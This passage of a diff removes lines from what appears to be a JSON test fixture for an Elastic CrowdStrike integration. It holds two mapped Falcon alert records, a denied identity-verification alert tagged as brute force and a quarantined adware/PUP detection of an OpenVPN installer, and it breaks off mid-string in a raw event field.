-                "ip": "81.2.69.144",
-                "user": {
-                    "domain": "NET.example.com",
-                    "name": "admin.example"
-                }
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "falcon_complete"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0006"
-                    ],
-                    "name": [
-                        "Credential Access"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1110"
-                    ],
-                    "name": [
-                        "Brute Force"
-                    ]
-                }
-            },
-            "user": {
-                "name": "admin.abcdef"
-            }
-        },
-        {
-            "@timestamp": "2024-08-19T18:44:01.100Z",
-            "cloud": {
-                "account": {
-                    "id": "65ddx-c454-324d-9034-Fdf34353"
-                }
-            },
-            "crowdstrike": {
-                "alert": {
-                    "active_directory_authentication_method": 4,
-                    "activity": {
-                        "browser": "Edge126.0.0",
-                        "device": "LAPTOP-ADFVEJM234V",
-                        "id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D",
-                        "os": "Windows"
-                    },
-                    "agent_id": "58293534772e48c99f33c61631b3536d",
-                    "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9",
-                    "alert_attributes": 0,
-                    "cid": "4446934rf3fdb64ec3056ddfb96e",
-                    "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                    "context_timestamp": "2024-08-19T18:43:44.242Z",
-                    "crawled_timestamp": "2024-08-19T18:49:02.798Z",
-                    "created_timestamp": "2024-08-19T18:45:02.987Z",
-                    "data_domains": [
-                        "Identity"
-                    ],
-                    "description": "Auserdeniedapolicyidentityverificationrequest",
-                    "display_name": "Identityverificationdenied",
-                    "end_time": "2024-08-19T18:43:44.242Z",
-                    "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
-                    "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
-                    "idp_policy": {
-                        "mfa_factor_type": 42669,
-                        "mfa_provider": 11,
-                        "rule_id": "123324-343-4dfa9E0-8F85-dfaa3242",
-                        "rule_name": "admin-RDPAccesstoTIER-0Servers"
-                    },
-                    "ldap_search_query_attack": 16,
-                    "location_country_code": "US",
-                    "location_latitude_as_int": 320316,
-                    "location_longitude_as_int": -12729080,
-                    "model_anomaly_indicators": [
-                        "ACCOUNT_IMPOSSIBLE_VELOCITY",
-                        "ENVIRONMENT_UNUSUAL_IP",
-                        "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
-                        "ISP_DATACENTER_CLASSIFICATION"
-                    ],
-                    "name": "IdpPolicyIdentityVerificationDenied",
-                    "objective": "GainAccess",
-                    "pattern_id": "45897",
-                    "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
-                    "product": "idp",
-                    "protocol_anomaly_classification": 1,
-                    "scenario": "suspicious_activity",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "severity": 79,
-                    "severity_name": "Medium",
-                    "show_in_ui": true,
-                    "source": {
-                        "account_azure_id": "65ddx-c454-324d-9034-Fdf34353",
-                        "account_domain": "BCD.example.com",
-                        "account_name": "admin.example",
-                        "account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324",
-                        "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733",
-                        "account_sam_account_name": "admin.abcdef",
-                        "account_upn": "admin.abcdef@example.com",
-                        "endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ",
-                        "endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999",
-                        "endpoint_address_ip4": "81.2.69.144",
-                        "endpoint_host_name": "ABDC454.net.example.com",
-                        "endpoint_ip_address": "81.2.69.144",
-                        "endpoint_ip_reputation": 118,
-                        "endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e",
-                        "ip_isp_classification": 8,
-                        "ip_isp_domain": "abc.com"
-                    },
-                    "source_products": [
-                        "FalconIdentityProtection"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "start_time": "2024-08-19T18:43:44.242Z",
-                    "status": "new",
-                    "tactic": "CredentialAccess",
-                    "tactic_id": "TA0006",
-                    "tags": [
-                        "falcon_complete"
-                    ],
-                    "target": {
-                        "account_name": "HFJFJFFFFFFF$",
-                        "domain_controller_host_name": "GHPOTAL12578",
-                        "domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1",
-                        "domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511",
-                        "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536",
-                        "endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236",
-                        "endpoint_host_name": "GH787.abc.example.com",
-                        "endpoint_sensor_id": "afdsasf3423432nndv3432v",
-                        "service_access_identifier": "HOST/root.demo.com"
-                    },
-                    "technique": "BruteForce",
-                    "technique_id": "T1110",
-                    "timestamp": "2024-08-19T18:44:01.100Z",
-                    "type": "idp-user-endpoint-app-info",
-                    "updated_timestamp": "2024-08-19T18:49:02.798Z",
-                    "user_name": "admin.abcdef"
-                }
-            },
-            "destination": {
-                "domain": "GH787.abc.example.com",
-                "user": {
-                    "domain": "GHPOTAL12578",
-                    "name": "HFJFJFFFFFFF$"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "end": "2024-08-19T18:43:44.242Z",
-                "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
-                "kind": "alert",
-                "original": "{\"aggregate_id\":\"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9\",\"agent_id\":\"58293534772e48c99f33c61631b3536d\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"context_timestamp\":\"2024-08-19T18:43:44.242Z\",\"composite_id\":\"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"crawled_timestamp\":\"2024-08-19T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-19T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"Auserdeniedapolicyidentityverificationrequest\",\"display_name\":\"Identityverificationdenied\",\"end_time\":\"2024-08-19T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429\",\"idp_policy_mfa_factor_type\":\"42669\",\"idp_policy_mfa_provider\":\"11\",\"idp_policy_rule_id\":\"123324-343-4dfa9E0-8F85-dfaa3242\",\"idp_policy_rule_name\":\"admin-RDPAccesstoTIER-0Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"GainAccess\",\"pattern_id\":45897,\"poly_id\":\"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-324d-9034-Fdf34353\",\"source_account_domain\":\"BCD.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1117733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"FDHJJ343-098C-4629-9437-DD3424GHJ\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293523261gh48c99ffd234c6190123536e\",\"source_products\":[\"FalconIdentityProtection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"CredentialAccess\",\"tactic_id\":\"TA0006\",\"technique\":\"BruteForce\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536\",\"target_endpoint_account_object_sid\":\"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236\",\"target_endpoint_host_name\":\"GH787.abc.example.com\",\"target_endpoint_sensor_id\":\"afdsasf3423432nndv3432v\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge126.0.0\",\"activity_device\":\"LAPTOP-ADFVEJM234V\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"4\",\"activity_id\":\"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":320316,\"location_longitude_as_int\":-12729080,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"78HF9842-HGG5-324F-9565-GJD47324\",\"source_endpoint_account_object_sid\":\"S-1-4-21-111111111-2222222-14171121333-1045999\",\"source_endpoint_ip_reputation\":\"118\",\"source_ip_isp_classification\":\"8\",\"source_ip_isp_domain\":\"abc.com\",\"target_domain_controller_host_name\":\"GHPOTAL12578\",\"target_domain_controller_object_guid\":\"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1\",\"target_domain_controller_object_sid\":\"S-2-8-21-333333-2222222-3431-95511\",\"target_service_access_identifier\":\"HOST/root.demo.com\"}",
-                "severity": 47,
-                "start": "2024-08-19T18:43:44.242Z"
-            },
-            "host": {
-                "id": "58293534772e48c99f33c61631b3536d"
-            },
-            "message": "Auserdeniedapolicyidentityverificationrequest",
-            "observer": {
-                "geo": {
-                    "country_iso_code": "US",
-                    "location": {
-                        "lat": 320316,
-                        "lon": -12729080
-                    }
-                }
-            },
-            "related": {
-                "hosts": [
-                    "BCD.example.com",
-                    "ABDC454.net.example.com",
-                    "GH787.abc.example.com",
-                    "GHPOTAL12578"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "admin.example",
-                    "admin.abcdef@example.com",
-                    "HFJFJFFFFFFF$",
-                    "admin.abcdef"
-                ]
-            },
-            "rule": {
-                "id": "123324-343-4dfa9E0-8F85-dfaa3242",
-                "name": "admin-RDPAccesstoTIER-0Servers"
-            },
-            "source": {
-                "domain": "ABDC454.net.example.com",
-                "ip": "81.2.69.144",
-                "user": {
-                    "domain": "BCD.example.com",
-                    "name": "admin.example"
-                }
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "falcon_complete"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0006"
-                    ],
-                    "name": [
-                        "CredentialAccess"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1110"
-                    ],
-                    "name": [
-                        "BruteForce"
-                    ]
-                }
-            },
-            "user": {
-                "name": "admin.abcdef"
-            }
-        },
-        {
-            "@timestamp": "2023-11-03T18:00:22.328Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "alleged_filetype": "exe",
-                    "cid": "92012896127c4a948236ba7601b886b0",
-                    "cloud_indicator": false,
-                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "confidence": 10,
-                    "context_timestamp": "2023-11-03T18:00:31.000Z",
-                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-                    "crawl_edge_ids": {
-                        "Sensor": [
-                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
-                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
-                        ]
-                    },
-                    "crawl_vertex_ids": {
-                        "Sensor": [
-                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                        ]
-                    },
-                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
-                    "created_timestamp": "2023-11-03T18:01:23.995Z",
-                    "data_domains": [
-                        "Endpoint"
-                    ],
-                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-                    "device": {
-                        "agent_load_flags": 0,
-                        "agent_local_time": "2023-10-12T03:45:57.753Z",
-                        "agent_version": "7.04.17605.0",
-                        "bios_manufacturer": "ABC",
-                        "bios_version": "F8CN42WW(V2.05)",
-                        "cid": "92012896127c4a948236ba7601b886b0",
-                        "config_id_base": "65994763",
-                        "config_id_build": "17605",
-                        "config_id_platform": 3,
-                        "external_ip": "81.2.69.142",
-                        "first_seen": "2023-04-07T09:36:36.000Z",
-                        "groups": [
-                            "18704e21288243b58e4c76266d38caaf"
-                        ],
-                        "hostinfo": {
-                            "active_directory_dn_display": [
-                                "WinComputers",
-                                "WinComputers\\ABC"
-                            ],
-                            "domain": "ABC.LOCAL"
-                        },
-                        "hostname": "ABC709-1175",
-                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                        "last_seen": "2023-11-03T17:51:42.000Z",
-                        "local_ip": "81.2.69.142",
-                        "mac_address": "AB-21-48-61-05-B2",
-                        "machine_domain": "ABC.LOCAL",
-                        "major_version": "10",
-                        "minor_version": "0",
-                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
-                        "os_version": "Windows11",
-                        "ou": [
-                            "ABC",
-                            "WinComputers"
-                        ],
-                        "platform_id": "0",
-                        "platform_name": "Windows",
-                        "product_type": "1",
-                        "product_type_desc": "Workstation",
-                        "site_name": "Default-First-Site-Name",
-                        "status": "normal",
-                        "system_manufacturer": "LENOVO",
-                        "system_product_name": "20VE"
-                    },
-                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "grandparent_details": {
-                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                        "filename": "userinit.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                        "local_process_id": "4328",
-                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                        "process_id": "392734873135",
-                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                        "timestamp": "2023-10-30T16:49:19.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "yuvraj.mahajan"
-                    },
-                    "has_script_or_module_ioc": true,
-                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "ioc_context": [
-                        {
-                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "ioc_source": "library_load",
-                            "ioc_type": "hash_sha256",
-                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "type": "module"
-                        }
-                    ],
-                    "ioc_values": [
-                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                    ],
-                    "is_synthetic_quarantine_disposition": true,
-                    "local_process_id": "17076",
-                    "logon_domain": "ABSYS",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "name": "PrewittPupAdwareSensorDetect-Lowest",
-                    "objective": "FalconDetectionMethod",
-                    "parent_details": {
-                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                        "filename": "explorer.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                        "local_process_id": "1040",
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                        "process_id": "392736520876",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                        "timestamp": "2023-11-03T18:00:32.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "mohit.jha"
-                    },
-                    "parent_process_id": "392736520876",
-                    "pattern_disposition": 2176,
-                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-                    "pattern_disposition_details": {
-                        "blocking_unsupported_or_disabled": false,
-                        "bootup_safeguard_enabled": false,
-                        "critical_process_disabled": false,
-                        "detect": false,
-                        "fs_operation_blocked": false,
-                        "handle_operation_downgraded": false,
-                        "inddet_mask": false,
-                        "indicator": false,
-                        "kill_action_failed": false,
-                        "kill_parent": false,
-                        "kill_process": false,
-                        "kill_subprocess": false,
-                        "operation_blocked": false,
-                        "policy_disabled": false,
-                        "process_blocked": true,
-                        "quarantine_file": true,
-                        "quarantine_machine": false,
-                        "registry_operation_blocked": false,
-                        "rooting": false,
-                        "sensor_only": false,
-                        "suspend_parent": false,
-                        "suspend_process": false
-                    },
-                    "pattern_id": "5761",
-                    "platform": "Windows",
-                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-                    "process_end_time": "2023-11-03T18:00:21.000Z",
-                    "process_id": "399748687993",
-                    "process_start_time": "2023-11-03T18:00:13.000Z",
-                    "product": "epp",
-                    "quarantined_files": [
-                        {
-                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "state": "quarantined"
-                        }
-                    ],
-                    "scenario": "NGAV",
-                    "severity": 30,
-                    "severity_name": "low",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "show_in_ui": true,
-                    "source_products": [
-                        "FalconInsight"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "status": "new",
-                    "tactic": "MachineLearning",
-                    "tactic_id": "CSTA0004",
-                    "technique": "Adware/PUP",
-                    "technique_id": "CST0000",
-                    "timestamp": "2023-11-03T18:00:22.328Z",
-                    "tree_id": "1931778",
-                    "tree_root": "38687993",
-                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-                    "type": "ldt",
-                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
-                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "user_name": "mohit.jha"
-                }
-            },
-            "device": {
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "manufacturer": "LENOVO",
-                "model": {
-                    "name": "20VE"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p